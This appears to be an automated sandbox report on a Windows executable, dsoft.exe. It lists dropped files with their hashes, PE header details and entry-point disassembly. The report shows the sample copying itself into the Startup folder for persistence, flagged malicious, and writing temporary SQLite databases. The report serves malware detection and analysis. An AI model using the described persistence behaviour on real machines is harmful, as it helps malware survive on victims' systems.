                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\p7c9l8ib

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):4
                                                                                                                                                                                                                                        Entropy (8bit):2.0
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:qn:qn
                                                                                                                                                                                                                                        MD5:3F1D1D8D87177D3D8D897D7E421F84D6
                                                                                                                                                                                                                                        SHA1:DD082D742A5CB751290F1DB2BD519C286AA86D95
                                                                                                                                                                                                                                        SHA-256:F02285FB90ED8C81531FE78CF4E2ABB68A62BE73EE7D317623E2C3E3AEFDFFF2
                                                                                                                                                                                                                                        SHA-512:2AE2B3936F31756332CA7A4B877D18F3FCC50E41E9472B5CD45A70BEA82E29A0FA956EE6A9EE0E02F23D9DB56B41D19CB51D88AAC06E9C923A820A21023752A9
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:blat

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\qb7301oo

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):4
                                                                                                                                                                                                                                        Entropy (8bit):2.0
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:qn:qn
                                                                                                                                                                                                                                        MD5:3F1D1D8D87177D3D8D897D7E421F84D6
                                                                                                                                                                                                                                        SHA1:DD082D742A5CB751290F1DB2BD519C286AA86D95
                                                                                                                                                                                                                                        SHA-256:F02285FB90ED8C81531FE78CF4E2ABB68A62BE73EE7D317623E2C3E3AEFDFFF2
                                                                                                                                                                                                                                        SHA-512:2AE2B3936F31756332CA7A4B877D18F3FCC50E41E9472B5CD45A70BEA82E29A0FA956EE6A9EE0E02F23D9DB56B41D19CB51D88AAC06E9C923A820A21023752A9
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:blat

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Tempcrhvnzytwb.db

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):40960
                                                                                                                                                                                                                                        Entropy (8bit):0.8553638852307782
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                                                                                                                        MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                                                                                                                        SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                                                                                                                        SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                                                                                                                        SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Tempcrjiyndips.db

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):106496
                                                                                                                                                                                                                                        Entropy (8bit):1.1358696453229276
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                                                                                                                        MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                                                                                                                        SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                                                                                                                        SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                                                                                                                        SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Tempcrkcrnhgre.db

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):106496
                                                                                                                                                                                                                                        Entropy (8bit):1.1358696453229276
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                                                                                                                        MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                                                                                                                        SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                                                                                                                        SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                                                                                                                        SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Tempcrkiscfmzs.db

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):40960
                                                                                                                                                                                                                                        Entropy (8bit):0.8553638852307782
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                                                                                                                        MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                                                                                                                        SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                                                                                                                        SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                                                                                                                        SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Tempcrknzdrwoo.db

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):106496
                                                                                                                                                                                                                                        Entropy (8bit):1.1358696453229276
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                                                                                                                        MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                                                                                                                        SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                                                                                                                        SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                                                                                                                        SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Tempcropwvbndv.db

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):159744
                                                                                                                                                                                                                                        Entropy (8bit):0.7873599747470391
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                                                                                                                        MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                                                                                                                        SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                                                                                                                        SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                                                                                                                        SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Tempcrrekwpuzx.db

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):106496
                                                                                                                                                                                                                                        Entropy (8bit):1.1358696453229276
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                                                                                                                        MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                                                                                                                        SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                                                                                                                        SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                                                                                                                        SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Tempcrrytwslwl.db

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):28672
                                                                                                                                                                                                                                        Entropy (8bit):2.5793180405395284
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                                                                                                                        MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                                                                                                                        SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                                                                                                                        SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                                                                                                                        SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Tempcrxurypfgu.db

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):159744
                                                                                                                                                                                                                                        Entropy (8bit):0.7873599747470391
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                                                                                                                        MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                                                                                                                        SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                                                                                                                        SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                                                                                                                        SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Tempcryelnmoih.db

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):28672
                                                                                                                                                                                                                                        Entropy (8bit):2.5793180405395284
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                                                                                                                        MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                                                                                                                        SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                                                                                                                        SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                                                                                                                        SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):15497216
                                                                                                                                                                                                                                        Entropy (8bit):7.991077453114403
                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                        SSDEEP:393216:LPiIE7YoPQjdQuslSq99oWOv+9fguz6L8/gw:A7rPQjdQuSDorvSYuzh/9
                                                                                                                                                                                                                                        MD5:42B4B335289128A94EFB934D0080DAB3
                                                                                                                                                                                                                                        SHA1:FED72D52FF0A2231301410C80AEE03CF0285B09E
                                                                                                                                                                                                                                        SHA-256:AA3F588529429795E1E0E72E430AEF58A9190E72E01DB662775E2C0D3C8A4420
                                                                                                                                                                                                                                        SHA-512:1DF2CB5CECDC7CA05ABF5C08E6B436EFF0844C506786FBCF9F8366277344ECF00E72A530639FDB24B6CE9D02CCFAB70C1B6EF889E3A62CA377AD1F97957CD231
                                                                                                                                                                                                                                        Malicious:true
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......h7..,Vd.,Vd.,Vd.g.g.$Vd.g.a.Vd.g.`.&Vd.*..(Vd.*a..Vd.*`.=Vd.*g.%Vd.g.e.'Vd.,Ve.Vd..+`.9Vd..+f.-Vd.Rich,Vd.........PE..d....(.f.........."....#.......................@....................................a.....`.....................................................x....`...l... ..."..............\...0..................................@............... ............................text............................... ..`.rdata...,..........................@..@.data...83..........................@....pdata..."... ...$..................@..@_RDATA..\....P......................@..@.rsrc....l...`...n..................@..@.reloc..\............p..............@..B................................................................................................................................................................................................................

                                                                                                                                                                                                                                        Static File Info

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        File type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Entropy (8bit):7.991077453114403
                                                                                                                                                                                                                                        TrID:
                                                                                                                                                                                                                                        • Win64 Executable GUI (202006/5) 92.65%
                                                                                                                                                                                                                                        • Win64 Executable (generic) (12005/4) 5.51%
                                                                                                                                                                                                                                        • Generic Win/DOS Executable (2004/3) 0.92%
                                                                                                                                                                                                                                        • DOS Executable Generic (2002/1) 0.92%
                                                                                                                                                                                                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                                                        File name:dsoft.exe
                                                                                                                                                                                                                                        File size:15'497'216 bytes
                                                                                                                                                                                                                                        MD5:42b4b335289128a94efb934d0080dab3
                                                                                                                                                                                                                                        SHA1:fed72d52ff0a2231301410c80aee03cf0285b09e
                                                                                                                                                                                                                                        SHA256:aa3f588529429795e1e0e72e430aef58a9190e72e01db662775e2c0d3c8a4420
                                                                                                                                                                                                                                        SHA512:1df2cb5cecdc7ca05abf5c08e6b436eff0844c506786fbcf9f8366277344ecf00e72a530639fdb24b6ce9d02ccfab70c1b6ef889e3a62ca377ad1f97957cd231
                                                                                                                                                                                                                                        SSDEEP:393216:LPiIE7YoPQjdQuslSq99oWOv+9fguz6L8/gw:A7rPQjdQuSDorvSYuzh/9
                                                                                                                                                                                                                                        TLSH:26F6335163945CF5F9A3A13D8812C858DA71F91117B0E2CB43B8DAAA0FA73E07D7AF50
                                                                                                                                                                                                                                        File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......h7..,Vd.,Vd.,Vd.g.g.$Vd.g.a..Vd.g.`.&Vd..*..(Vd..*a..Vd..*`.=Vd..*g.%Vd.g.e.'Vd.,Ve..Vd..+`.9Vd..+f.-Vd.Rich,Vd.........PE..d..

                                                                                                                                                                                                                                        File Icon

                                                                                                                                                                                                                                        Icon Hash:008f979796464d02

                                                                                                                                                                                                                                        Static PE Info

                                                                                                                                                                                                                                        General

                                                                                                                                                                                                                                        Entrypoint:0x14000c200
                                                                                                                                                                                                                                        Entrypoint Section:.text
                                                                                                                                                                                                                                        Digitally signed:false
                                                                                                                                                                                                                                        Imagebase:0x140000000
                                                                                                                                                                                                                                        Subsystem:windows gui
                                                                                                                                                                                                                                        Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                                                                                                                                                                                                        DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                                                                                                                                                                                                                                        Time Stamp:0x661C28F4 [Sun Apr 14 19:05:24 2024 UTC]
                                                                                                                                                                                                                                        TLS Callbacks:
                                                                                                                                                                                                                                        CLR (.Net) Version:
                                                                                                                                                                                                                                        OS Version Major:5
                                                                                                                                                                                                                                        OS Version Minor:2
                                                                                                                                                                                                                                        File Version Major:5
                                                                                                                                                                                                                                        File Version Minor:2
                                                                                                                                                                                                                                        Subsystem Version Major:5
                                                                                                                                                                                                                                        Subsystem Version Minor:2
                                                                                                                                                                                                                                        Import Hash:20d446c1cb128febd23deb17efb67cf6

                                                                                                                                                                                                                                        Entrypoint Preview

                                                                                                                                                                                                                                        Instruction
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        sub esp, 28h
                                                                                                                                                                                                                                        call 00007FB610CC996Ch
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        add esp, 28h
                                                                                                                                                                                                                                        jmp 00007FB610CC957Fh
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        sub esp, 28h
                                                                                                                                                                                                                                        call 00007FB610CC9EE4h
                                                                                                                                                                                                                                        test eax, eax
                                                                                                                                                                                                                                        je 00007FB610CC9723h
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        mov eax, dword ptr [00000030h]
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        mov ecx, dword ptr [eax+08h]
                                                                                                                                                                                                                                        jmp 00007FB610CC9707h
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        cmp ecx, eax
                                                                                                                                                                                                                                        je 00007FB610CC9716h
                                                                                                                                                                                                                                        xor eax, eax
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        cmpxchg dword ptr [0003426Ch], ecx
                                                                                                                                                                                                                                        jne 00007FB610CC96F0h
                                                                                                                                                                                                                                        xor al, al
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        add esp, 28h
                                                                                                                                                                                                                                        ret
                                                                                                                                                                                                                                        mov al, 01h
                                                                                                                                                                                                                                        jmp 00007FB610CC96F9h
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        inc eax
                                                                                                                                                                                                                                        push ebx
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        sub esp, 20h
                                                                                                                                                                                                                                        movzx eax, byte ptr [00034257h]
                                                                                                                                                                                                                                        test ecx, ecx
                                                                                                                                                                                                                                        mov ebx, 00000001h
                                                                                                                                                                                                                                        cmove eax, ebx
                                                                                                                                                                                                                                        mov byte ptr [00034247h], al
                                                                                                                                                                                                                                        call 00007FB610CC9CE3h
                                                                                                                                                                                                                                        call 00007FB610CCAE12h
                                                                                                                                                                                                                                        test al, al
                                                                                                                                                                                                                                        jne 00007FB610CC9706h
                                                                                                                                                                                                                                        xor al, al
                                                                                                                                                                                                                                        jmp 00007FB610CC9716h
                                                                                                                                                                                                                                        call 00007FB610CD7CA1h
                                                                                                                                                                                                                                        test al, al
                                                                                                                                                                                                                                        jne 00007FB610CC970Bh
                                                                                                                                                                                                                                        xor ecx, ecx
                                                                                                                                                                                                                                        call 00007FB610CCAE22h
                                                                                                                                                                                                                                        jmp 00007FB610CC96ECh
                                                                                                                                                                                                                                        mov al, bl
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        add esp, 20h
                                                                                                                                                                                                                                        pop ebx
                                                                                                                                                                                                                                        ret
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        int3
                                                                                                                                                                                                                                        inc eax
                                                                                                                                                                                                                                        push ebx
                                                                                                                                                                                                                                        dec eax
                                                                                                                                                                                                                                        sub esp, 20h
                                                                                                                                                                                                                                        cmp byte ptr [0003420Ch], 00000000h
                                                                                                                                                                                                                                        mov ebx, ecx
                                                                                                                                                                                                                                        jne 00007FB610CC9769h
                                                                                                                                                                                                                                        cmp ecx, 01h
                                                                                                                                                                                                                                        jnbe 00007FB610CC976Ch
                                                                                                                                                                                                                                        call 00007FB610CC9E4Ah
                                                                                                                                                                                                                                        test eax, eax
                                                                                                                                                                                                                                        je 00007FB610CC972Ah

                                                                                                                                                                                                                                        Data Directories

                                                                                                                                                                                                                                        NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0x3cde40x78.rdata
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0x460000xe86c91.rsrc
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0x420000x2298.pdata
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0xecd0000x75c.reloc
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0x3a3300x1c.rdata
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x3a1f00x140.rdata
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_IAT0x2b0000x420.rdata
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                                                        Sections

                                                                                                                                                                                                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                                        .text0x10000x29ba00x29c006f12541b07558e1c46246b2a798f0b6dFalse0.5534068581586826data6.4875591564260615IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
